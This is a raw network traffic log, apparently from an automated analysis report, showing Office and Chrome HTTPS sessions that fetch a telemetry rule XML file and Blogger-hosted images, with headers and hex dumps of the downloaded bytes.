2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 44 95 2b 53 89 58 62 71 38 95 1e 13 1e 26 d2 b6 c1 31 2b 44 ab ee 3d 23 aa bf 53 97 d5 d7 ad 63 72 b3 52 bd 10 1b b5 79 96 a5 66 ba 95 88 26 87 89 6b 56 98 25 b8 4d ea ea 5e b5 1a 04 3e 91 e1 bf 69 c7 11 a4 a2 e5 7d 4d a9 bd 13 07 59 97 bd 4d c7 30 2f a4 63 cf 88 d1 ca e0 ac 0f c4 c7 7a e7 de 30 62 25 c4 a9 ab 9b 7a f1 38 9e de bc 40 87 98 62 89 81 db 2d 7b 81 66 22 2b 4d ce 00 d7 32 a6 9d 45 86 ae 5b 22 b8 a3 3a 7b 82 81 52 2e b8 8d 78 63 6f d2 ea 54 48 ee e0 9f 31 f1 15 e1 80 af 98 6a a6 5d c1 90 45 43 07 0c 5d f1 73 67 53 88 6e 90 8a 75 d4 61 3b 8c 1a f5 1c 46 1a 5f 25 eb 7c 7c 6b d0 3e e5 43 da 03 a9 4a 60 c1 c9 77 fd 4a 2d ea 58 f3 11 75 75 15 16 79 89 b4 25 ff 00 22 0a 05 5e a5 ce 1a 0c 1a 30 62 39 85 5b 88 2b 45 f1 17 68 47 b4 35 84 5a dd f3 2b 4a Data Ascii: D+SXbq8&1+D=#ScrRyf&kV%M^>i}MYM0/cz0b%z8@b-{f"+M2E[":{R.xcoTH1j]EC]sgSnua;F_%\|\|k>CJ`wJ-Xuuy%"^0b9[+EhG5Z+J
2024-10-14 22:39:54 UTC	1047	IN	Data Raw: 98 7a 9b 87 4f 96 ec 56 22 8c 2b cf 55 16 bc 82 5b d1 76 77 70 16 7b 47 33 f6 6c 8d 96 30 63 58 71 1b 16 00 a7 15 33 d4 a2 55 10 ef 14 71 f1 1a 86 c5 06 b8 07 c9 71 90 4c 69 61 a7 0b ce 7e 21 23 ab 31 98 a4 47 f6 9f f6 4c d7 79 1b bf 64 74 64 4e 77 17 ae 18 80 d6 9d 85 3f 98 4c c5 2e 9a a0 a7 ea 2c 70 95 d0 32 3e 33 f0 d7 10 24 6d 18 11 c8 bd d3 47 b4 38 53 f0 07 b4 d9 88 4d 2e 52 7b bc 5c c9 84 07 16 c2 e8 d2 5b 1c 4b 76 f6 91 a6 cb 2e 17 de 0a 98 4b d0 11 a0 ee 31 2e b4 53 17 2d 38 a8 ba d0 0e 30 ad df cc 7f 86 23 7c 37 1b 7a dc 72 fa e8 4f 09 58 17 98 30 51 54 50 c6 27 4a f0 cb 3d f7 0c c5 da 69 f9 96 37 88 58 15 ab a3 5e 21 78 84 86 0e 41 6d 9c 4a a1 6b d3 b9 75 bc a6 e9 92 20 d3 b8 a5 17 98 ad 66 23 00 a1 9f f7 1d 68 5c 1b e1 81 85 82 fd ce 20 01 48 Data Ascii: zOV"+U[vwp{G3l0cXq3UqqLia~!#1GLydtdNw?L.,p2>3$mG8SM.R{\[Kv.K1.S-80#\|7zrOX0QTP'J=i7X^!xAmJku f#h\ H

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:53 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 77080ea6-601e-003e-13e1-1a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223953Z-17db6f7c8cfbr2wt66emzt78g400000006mg000000005gq3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:53 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49844	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	666	OUT	GET /img/b/R29vZ2xl/AVvXsEhanjg5FQ_WcSXnLlNefHn3XPYMDHeE5JSNftuLC2MPDfG0uIKhbOrY_s0IYSMkaMYBx2UzQIMtWZ9HrV69ghm9O9FGMZPmcnXhh3_nRf4wQuZLXWElkNagBZditi7At4XQBJUWxkBpf2QqVbm1WQx70Ux-cuT_3V1ixUBBeFy-YiLB0k1MbhT223HO6Yh1/s1600/images%20(29).jpeg HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:54 UTC	472	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "v14e" Expires: Tue, 15 Oct 2024 22:39:54 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="images (29).jpeg" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:54 GMT Server: fife Content-Length: 9668 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:54 UTC	906	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 6c 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 03 00 31 01 02 00 07 00 00 00 32 00 00 00 12 02 03 00 02 00 00 00 02 00 02 00 69 87 04 00 01 00 00 00 3a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 03 00 00 90 07 00 04 00 00 00 30 32 32 30 02 a0 04 00 01 00 00 00 c8 00 00 00 03 a0 04 00 01 00 00 00 fc 00 00 00 00 00 00 00 ff db 00 84 00 09 06 07 12 12 12 15 13 13 13 16 15 15 17 17 17 18 16 18 17 15 17 18 15 17 18 18 16 18 17 15 16 16 16 18 1d 28 20 1a 1a 25 1d 17 16 22 31 21 26 29 2b 2e 2e 2e 18 1f 33 38 33 2d 37 28 2d 2e 2b 01 0a 0a 0a 0e 0d 0e 1b 10 10 1a 2d 25 20 25 2e 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: JFIFlExifII*12i:Google0220( %"1!&)+...383-7(-.+-% %.----------------------------------------
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 88 cd e5 3d 26 8b 5c bc 97 1f da 1f 66 59 98 ce ac 20 b1 9d 52 48 1c fa d5 a1 c7 2f 21 ca 73 31 00 08 0a 18 81 d0 1e 43 c8 0a 5b 9a 15 99 3b 9c 04 88 ef 98 3b 1c 86 0f 5d 66 9f ff 00 00 1f f3 7f d1 ff 00 da b4 b8 ac d7 16 4d e3 96 4b 77 c6 a1 c2 c1 cc 0f 38 81 f0 ab bc 13 84 5b be 64 de 05 40 6c c0 0d 46 5f de d7 ba 0f 23 fa 27 72 05 49 ba 46 4a df 66 81 de e9 1e 56 98 fe 7e 5e b5 7b 0b d8 91 73 dd be 46 9b b5 ac ab e4 49 7a d6 25 e6 0a 0a f7 74 dd 54 44 44 03 9c a3 09 88 d6 46 c3 a5 09 c5 71 8b ea 4e 72 2e af 88 d6 07 a8 23 f5 a5 1b b0 f5 d8 1a f7 63 95 4e 5f bc ac f8 db 23 d2 5a ba bd 8b 07 ff 00 52 07 9d b3 1e a1 be b1 46 85 fb 77 16 57 bb 3d 01 8f 4e 5f ad 2a ad d9 4d 7f 0f ef 2f e6 36 23 cb fa 53 91 1b 9b 29 37 61 48 de f8 83 cf 24 8f 50 d5 61 7e cf Data Ascii: =&\fY RH/!s1C[;;]fMKw8[d@lF_#'rIFJfV~^{sFIz%tTDDFqNr.#cN_#ZRFwW=N_*M/6#S)7aH$Pa~
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 0b 3a ec 3c 39 03 5a 3c 47 1f 5b 22 e1 28 a0 48 cd 10 c4 90 7d a2 5c 1f bc 01 2d 1e 7a f4 19 fc 7e 3d 15 98 fb 6c 85 9f 3e 6c ae 1b 5c e4 b0 81 ef 06 60 61 b7 83 cf 5a 8e e6 36 d1 6c eb 76 d8 25 02 b4 91 ac 0d 44 dc 03 bb ce 0e da 53 b6 be d9 1a 9c 7a b3 bd a1 c7 5a bc ec 50 c0 ca 1c c2 7b c0 3a 00 4e 9c c6 63 ac ec 3a d2 c2 96 bc 9e ca d8 3e d0 90 c6 54 0e e8 04 20 db 4d db a6 e3 78 9a ee 0f 80 fd e6 58 dc 1e cc 68 ce ac 84 eb ae 50 cb a1 26 79 f2 df a5 69 96 c2 a2 00 3b ab e6 73 31 eb 27 53 b6 e7 5f 52 29 b2 9a 5c 12 47 1b 97 2c 18 9c 0d 9f 2f de 31 00 38 cd aa 00 5e 5a 35 cc c0 66 d1 46 9a d1 ac 3f 66 70 6f 21 80 24 ee 58 11 3b e9 a4 69 a9 aa 17 b8 80 b7 21 47 7b a0 02 47 98 d8 0f e3 3f ca 9a 98 db e7 60 00 fe f4 0f 4d fd 23 c6 a3 b9 32 44 a0 83 2f c0 Data Ascii: :<9Z<G["(H}\-z~=l>l\`aZ6lv%DSzZP{:Nc:>T MxXhP&yi;s1'S_R)\G,/18^Z5fF?fpo!$X;i!G{G?`M#2D/
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 31 e8 7d 6b 61 c2 9a c3 21 b3 69 72 84 95 1d 34 e9 52 66 cd 4a 97 64 1a 5d 2e e9 5c 97 08 c2 f6 e2 f9 cc a8 ba 5b 2a 1d 4f 81 25 48 6e a4 15 23 d3 ad 72 a6 ed d1 f6 6d 66 d9 3a 8b 6c 7d 6e 3c 0f 33 06 95 47 19 5a b6 49 99 28 cd a8 f4 7b 93 f0 6b 47 91 f5 34 37 1b d9 3b 0f ac b2 b7 51 13 e1 cb 5d eb 40 f7 00 a1 b8 fe 24 13 63 af 8f 2f 3a b9 3a 46 74 5c a4 e9 19 86 ec c2 61 ce 6f 6a 5f 73 0c 00 f5 33 43 78 96 29 9e 52 d0 27 f7 9a 42 c0 f0 9d 87 8d 5c e2 1c 50 12 4b 31 3e 03 5f 4a ca 71 be d1 40 21 7b be 66 4f a0 e7 54 a5 73 97 06 a4 17 c7 0e 58 de 21 8b b1 82 46 83 9d ce e7 4d fc 4c 7a 0a c9 70 ee 1b 88 e2 57 41 3d db 73 f2 ae 60 f0 c7 19 74 96 24 a8 3b 75 35 eb 9d 9a e1 6b 69 04 01 3f a8 14 e6 f6 70 bb 18 97 c9 cb e8 b5 d9 ce 05 67 0b 6c 25 b5 03 a9 e6 4f Data Ascii: 1}ka!ir4RfJd].\[*O%Hn#rmf:l}n<3GZI({kG47;Q]@$c/::Ft\aoj_s3Cx)R'B\PK1>_Jq@!{fOTsX!FMLzpWA=s`t$;u5ki?pgl%O
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 7b dc 5f bb 33 0c a3 2b 34 c8 2f a0 65 ef 7b b0 27 c3 51 40 91 5e ee 2a da 2e e6 ea eb e0 0e b3 e4 07 ca bd 53 17 c3 38 7d e3 ec ef 15 5b b0 04 e6 28 c7 41 10 76 3a 45 5b 8c 2d 94 27 9a a2 ed 9e 25 77 85 a8 dc 47 d0 f9 1d 8d 76 bd 57 19 f6 71 1a d8 bb 33 c9 f4 ff 00 52 ef e9 4a a6 b2 b6 cb 30 16 d1 8e 00 ee 5e ed c6 24 cf 25 54 dc fc 3e 75 96 c4 61 42 eb bf 43 c8 f9 75 f3 ad 27 10 c6 95 b4 14 2c 22 cc 48 de 4e fa f9 7d 2b 37 88 17 1c c9 e7 af 8d 4b 76 40 a2 a2 0d bc b3 4d c3 62 2e 58 b8 b7 2d b1 57 5d 41 d0 ef c8 83 a1 1e 06 af fb 00 2a 8d ed 5b cf fd a9 d6 a8 2b b3 dd 3e cc b1 ef 7f 0a 97 ae 19 76 2e 18 c0 1a 87 61 b0 d0 69 15 ba 43 5e 4f f6 29 c4 01 b5 7b 0e 4e a8 e1 d7 f8 5c 41 f4 65 3e b5 e9 6f 74 81 59 79 3e b2 68 d6 8f fc 90 4c b3 72 e2 8d ea 4b 57 Data Ascii: {_3+4/e{'Q@^.S8}[(Av:E[-'%wGvWq3RJ0^$%T>uaBCu',"HN}+7Kv@Mb.X-W]A[+>v.aiC^O){N\Ae>otYy>hLrKW
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 29 7e 0c e7 60 38 cd b1 61 ad 5c 31 07 4f 10 45 04 ed 6e 0d 15 c9 53 2a 76 23 e0 7f 33 e9 51 f6 87 84 3e 19 cb 5b 1f b2 27 42 27 49 e4 7a 50 6b 9c 41 8a c3 6a 2b 16 5a 6d b3 6c f4 6c 3e 45 65 c2 97 6b d3 36 5d 89 b7 6a d0 17 18 c0 33 ac cf 4e 46 ae 71 8e d8 a4 32 a7 43 07 e9 f5 fa 57 9f af 11 39 32 82 74 db d4 9f 87 f4 aa b7 af 33 29 13 1c 8e a3 a8 8f 5a 89 e9 d3 95 b2 da d6 49 41 42 23 31 78 a0 ec 64 78 cf 30 66 27 c4 6b 43 dd f5 db 9f c8 ea 3e b4 b1 2f 06 06 86 20 c7 9f 23 e9 f1 9a e5 9b 44 d5 88 c6 8a d2 97 b6 5d c2 36 b4 42 d9 26 ab 59 b5 02 ac db 5a 99 24 53 9c 9b 08 61 5c 8d a9 53 30 ee cb d2 95 49 68 af 46 b3 15 d9 f6 ba 9b 0c ea 49 00 19 95 99 8d b4 20 1e 55 16 35 ed 60 ed 84 23 3d ce 6a b1 a1 ea c7 f5 e4 79 12 e1 bc 4e ed c5 6b 8d 09 6e 61 02 83 Data Ascii: )~`8a\1OEnS*v#3Q>['B'IzPkAj+Zmll>Eek6]j3NFq2CW92t3)ZIAB#1xdx0f'kC>/ #D]6B&YZ$Sa\S0IhFI U5`#=jyNkna
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: d8 96 cf b8 9d 79 18 1a 93 3f 3a d9 71 dc 48 71 86 b9 cd d0 13 d3 54 13 3d 3d e1 fe 1a c9 dd f8 3a cc b8 25 1f e6 5d f2 61 f1 dc 31 96 e4 c1 86 d7 a8 07 50 ca 4f 59 d7 e2 2a 74 c3 15 58 61 1d e1 f1 89 fc e8 af 0e c6 2d d5 ca c7 a1 04 f5 03 5f 8e 93 f0 1d 2a ef 11 44 6b 64 73 8f 98 d4 fd 29 64 97 03 f4 50 5f 2c 5b 5e c1 98 71 00 54 d3 4c 51 a5 76 b3 1f 2c f4 4c 71 db 14 84 69 52 a5 40 79 c3 5c 75 91 4e a5 45 30 38 df 06 7f 1b 60 25 c0 c4 68 7d 29 b7 30 8a 18 14 2c 3c 81 23 e1 d2 8b 63 f0 f9 94 8f 4a cc 62 96 3c 0f c8 d6 d6 9b 2e e8 9e 79 e6 f4 3f 0e 67 24 b8 67 a4 7d 9d 0d 6e ff 00 08 ff 00 ac 51 6e da f1 91 87 b0 55 4f ed 2e 02 a3 c1 7f 13 7e 5f 1f 0a cf fd 92 12 56 f9 3b 02 83 d4 31 3f 4a cf 76 9f 88 9c 5e 29 8a fb b3 95 3c 11 74 9f 8e fe 66 b5 e3 93 6e Data Ascii: y?:qHqT==:%]a1POYtXa-_Dkds)dP_,[^qTLQv,LqiR@y\uNE08`%h})0,<#cJb<.y?g$g}nQnUO.~_V;1?Jv^)<tfn
2024-10-14 22:39:54 UTC	494	IN	Data Raw: c3 8b 43 8a 12 de ed cb f2 f9 14 52 a5 4a a2 2e 9c 26 9a 6b a6 9b 45 01 8d 6a 68 34 8d 31 da 9e 91 5e 52 ae 46 62 6f 05 04 9a ca e2 b1 05 d8 9a 25 c4 af 17 39 46 d4 1d c6 a6 b5 34 98 94 79 f6 71 3e 6f 5b 2c b2 d8 bf 95 7f 91 ac 6b 96 2d 17 60 a3 72 62 b8 c6 8a f0 2b 00 66 b8 dc b4 13 f3 3f 97 ad 5d 67 37 26 14 08 00 00 6c 04 0f 85 06 e2 38 fc dd c4 3a 73 3d 7c 07 85 2e 25 c4 73 f7 53 dd e6 79 9f e9 55 f0 d6 35 a5 63 09 70 38 6d 64 d1 a5 d2 ab 61 ed c5 5a 8a 72 22 6e c5 33 5c a4 69 a0 d1 1a 3a 69 d4 d5 ae 9a 4c 34 49 6a a4 b0 c2 4c f4 f5 8e 55 1a ed 55 ef de ca 33 74 9f eb 40 05 b3 8d e9 52 26 3d c7 29 a1 f8 25 cc 44 6b 34 62 ce 13 ad 21 1d b1 8c 63 f8 07 a5 2a b5 6e d4 52 a2 22 01 4f 06 98 29 cb 5c c3 3d b4 ed 70 9a ed 34 d0 11 c3 4c 26 9c 6a 36 a7 a2 29 Data Ascii: CRJ.&kEjh41^RFbo%9F4yq>o[,k-`rb+f?]g7&l8:s=\|.%sSyU5cp8mdaZr"n3\i:iL4IjLUU3t@R&=)%Dk4b!c*nR"O)\=p4L&j6)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49849	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	665	OUT	GET /img/b/R29vZ2xl/AVvXsEilthfx38QlHFxL3Khn-j5CJzUsOSnQZg2lra4pPbU-1I5zAKJaooQ6gOOrOTlahlInZt6kUuNhkiig5FCwcmX2FOm0sszfp5Ukg1KTW0kv76WCftXcoYq755BAS_PwEF1zZrIZA9j8At0U3keYSOFtcclOPCW9WgJpnZM4KJ0cJ-yBccegg8RUG1_Jgg7K/s320/elaosboa46275.webp HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:54 UTC	474	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "v1c2" Expires: Tue, 15 Oct 2024 22:39:54 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="elaosboa46275.jpg" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:54 GMT Server: fife Content-Length: 17702 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:54 UTC	904	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 2a 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 01 00 31 01 02 00 07 00 00 00 1a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 ff db 00 84 00 03 02 02 0a 0a 0a 08 08 0a 08 08 08 0a 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 0a 08 08 08 08 0a 09 09 08 08 0d 0d 0a 08 0d 08 08 09 08 01 03 04 04 06 05 06 0a 06 06 0a 0d 0d 0a 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d ff c0 00 11 08 00 d5 01 40 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 01 04 03 01 01 00 00 00 00 00 00 00 00 00 00 05 03 04 06 07 01 02 08 09 00 ff c4 00 42 10 00 02 Data Ascii: JFIFExifII1Google@B
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 3f 81 e9 32 43 12 27 16 47 d2 3e 95 91 b1 c6 93 dc 60 e4 51 21 4d 8c 6e f8 b3 0e f5 1c 4a b6 0a 93 8b 36 68 a3 12 fb 33 5f 30 b7 de 9f 43 21 2f e4 39 14 1b 7d a9 32 89 a9 33 12 4f a7 7e b4 2a 22 f2 65 ea 86 57 dc 5b 56 df 2a 6a 88 95 c8 76 55 3c e8 83 ad 75 78 aa 8e ce 0c b6 8a b2 e1 37 35 dc 46 86 ec 42 55 a3 01 a1 15 93 15 0c b2 86 c7 7f 9c c0 27 db a9 cf 4f af b5 44 21 c5 84 38 54 a7 50 c8 3f 4c 6f 8c 1d fe 9d fe 95 54 02 4c 9f 5a f0 26 60 30 8c 72 a5 be 13 f0 81 a8 9e 9d 31 be 68 94 7f 82 a5 07 f8 46 17 93 e5 6f 82 09 5c ff 00 fa e2 91 f7 c1 38 f4 a9 df 00 9c 7b 03 ed 45 d5 8a fb 6c 71 c3 f8 4b c6 74 ba 34 6d fc 2e a5 5b 07 a1 c1 df 07 b1 e8 7f 5a 54 ad 0b e8 cb 27 97 20 e8 7e 42 b8 b9 9d b3 54 09 5c 57 9b 01 9e 9f 3a c7 24 69 52 08 5a 5a 06 ea 33 49 Data Ascii: ?2C'G>`Q!MnJ6h3_0C!/9}23O~"eW[VjvU<ux75FBU'OD!8TP?LoTLZ&`0r1hFo\8{ElqKt4m.[ZT' ~BT\W:$iRZZ3I
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: e9 de 4a f1 cb 2b 1a cd ea 2a 11 5d 89 62 5c 69 dd fd 4c 40 6f 70 04 61 5b 3b 91 83 5c ec f8 3b 3e c8 ae 85 f1 68 ea 40 61 d0 80 54 fb a9 19 07 e5 90 45 71 b3 c7 42 66 a8 cc bc 44 26 4e 71 5c c7 0e c6 7e e0 2e 23 ce c3 a0 3d 6a bf 4a 97 e0 17 98 3d c8 77 8b 2b 82 4e 77 14 8c b1 ea 83 84 ed 9d 6f c9 16 0b e5 a8 c7 fc c5 71 9b d9 df c6 b4 4b 20 e1 2b b9 c0 aa b1 c7 8d d7 2d ac 93 ef 5e d3 c4 78 40 f7 28 58 80 c3 24 e3 35 9b 2e d0 c4 e8 b3 16 4c 0e d4 a8 c6 9d 8c ec 2d 69 76 09 c6 6b 5f 76 2d c8 36 96 cb ed 4b 9e 4b 05 c8 dd ee 00 db 22 93 e9 3d 37 e1 bc 11 a5 20 28 66 24 e0 00 32 49 27 1b 7d ea e8 6c 31 4a 41 6b 7e 59 65 76 87 5c 22 45 ea 82 68 d9 d4 91 b2 c8 aa c7 46 71 81 a8 8d e9 b1 8d 8f 5c 46 7d 63 0b 17 11 04 72 e4 e9 d0 11 8b 6a fe 1c 63 39 da b5 ac Data Ascii: J+*]b\iL@opa[;\;>h@aTEqBfD&Nq\~.#=jJ=w+NwoqK +-^x@(X$5.L-ivk_v-6KK"=7 (f$2I'}l1JAk~Yev\"EhFq\F}crjc9
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 3c 18 dc 76 c7 65 c9 16 b4 41 bc 66 0d 24 07 6c 0c 1c 9e f9 c6 df e9 5d 5c 72 49 d9 c8 c8 bb 23 82 b9 a2 65 47 23 e6 7a 6e 32 6b bf 06 9a b3 cc f2 13 52 05 8b fc e0 af 51 b7 d3 35 a1 33 21 88 78 a1 5c 8c 67 75 3b ef f0 ee 31 ec 3e 94 56 55 0a 43 c5 f4 ca 5b 38 c1 04 01 b6 dd f0 7b 63 24 f5 eb 52 c9 e1 d6 9f 86 b5 86 58 ee 26 76 2d 3b 2e 82 a4 2e d0 ea 07 50 3d cc 8c a3 20 1d 8a 64 f6 ac 99 de 8c 9c 8d c4 94 5e ae 18 81 d0 1a c6 95 9c 39 30 27 12 7d e9 9d 44 31 4e 0b c4 f4 38 6a 5c f1 77 54 ca 8c a9 d9 78 78 7f e2 d8 8c e3 3d 48 ff 00 83 7a f3 9c ae 1d 3d 1e 83 8b ca bd 1d 21 cb 1c f6 65 40 46 30 71 de b8 12 54 ce cd d9 e5 4f 29 c0 5c 74 db 6a f7 73 d3 3c 24 99 2e b8 e5 4d 81 14 b4 c0 b0 71 e0 0d 90 29 8f c0 a2 58 bc 19 44 68 0e c3 00 75 fa 77 f9 d7 3a 4f Data Ascii: <veAf$l]\rI#eG#zn2kRQ53!x\gu;1>VUC[8{c$RX&v-;..P= d^90'}D1N8j\wTxx=Hz=!e@F0qTO)\tjs<$.Mq)XDhuw:O
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 4c 81 d4 ed 49 9e 38 de 8b 01 71 8e 2f 8e e7 6a e8 f1 b0 ff 00 a0 e2 8b 0f c2 0f 0a a1 e2 36 77 53 cd 21 88 5a de db 18 dd 15 4c aa 23 8d a4 9e 38 a4 20 3c 2f 34 73 08 96 48 98 32 eb 07 7c 62 b5 67 8d 45 9d be 16 59 46 49 20 f7 8b 7c a0 b7 31 cb 1b 00 17 4e 90 07 c2 80 0d 20 2f 6f 4a 80 a0 8c 74 15 c4 eb 47 a7 c6 dc bd 39 d7 86 fe 1a 15 57 23 cb 0c d1 ac 72 31 8c 48 c4 21 07 52 3b 12 d1 96 39 6c a9 0c 33 8c ed 58 25 95 c5 9d 4c 78 bb c4 b3 79 17 c1 24 b7 f5 f9 8d a7 00 98 cb 16 5c 8f 6c 9c 8e d9 de 9a b6 ac cd 28 53 a1 e7 8a 1c a8 27 b5 9e d9 59 54 cc 85 41 3e fe c7 1d 01 c7 5d f1 ed 4d 8c dc 7c 31 e6 87 68 d2 29 ae 45 fc 2e c5 1c 73 cf 72 ab 33 43 aa 44 8c 3b 79 6b 1c 48 5d b2 00 1a c9 df af 4c 74 39 a7 fe a2 48 cf 83 88 94 b6 4b f8 2f 2f 5b cf 19 8c d8 Data Ascii: LI8q/j6wS!ZL#8 </4sH2\|bgEYFI \|1N /oJtG9W#r1H!R;9l3X%Lxy$\l(S'YTA>]M\|1h)E.sr3CD;ykH]Lt9HK//[
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 88 49 12 4a 78 4b 25 d4 8c b0 ac b7 10 b5 a6 a9 26 f2 cb 7c 0f 2e 9d df 50 25 1c 81 f1 6d cf 52 6d d2 3b b3 a5 16 ff 00 d1 62 71 0b 45 8f c9 9e 13 ad 6e 51 1c 91 b0 6c a8 70 dd 48 f5 06 3d 0f 5a d1 19 b3 9a e2 8b 07 80 73 56 02 86 18 3b 56 98 e6 46 49 61 6c 43 c4 af 0c 20 be 85 8c 40 47 73 90 52 46 3f b3 0e a3 3e 59 c8 25 63 9c ec c4 7c 2c 11 ba 02 2b 64 6b 2a 3c c7 3b 0b 39 0f 8c 5b bc 4f 24 32 21 8a 48 9b 44 91 b0 c3 23 7b 1e c7 dc 10 48 20 82 09 04 1a cb 47 95 c9 f0 75 f9 23 9c 5a 7e f4 71 88 96 c1 11 de d6 b5 e0 0a 4c 23 c3 df 2c 2b 3e 56 3e 32 26 5c 38 f4 ac b2 09 b0 e5 bd d0 ac 93 83 64 a1 bc d7 3b 9a 5a 8b 41 c4 79 68 f4 7f 83 5c 10 ad dd ee 06 c6 90 99 a1 68 8d bd c1 26 b5 c2 69 0e b1 75 97 0a d4 e8 e4 b7 48 62 90 f3 91 39 86 41 17 17 82 3b 65 bb Data Ascii: IJxK%&\|.P%mRm;bqEnQlpH=ZsV;VFIalC @GsRF?>Y%c\|,+dk*<;9[O$2!HD#{H Gu#Z~qL#,+>V>2&\8d;ZAyh\h&iuHb9A;e
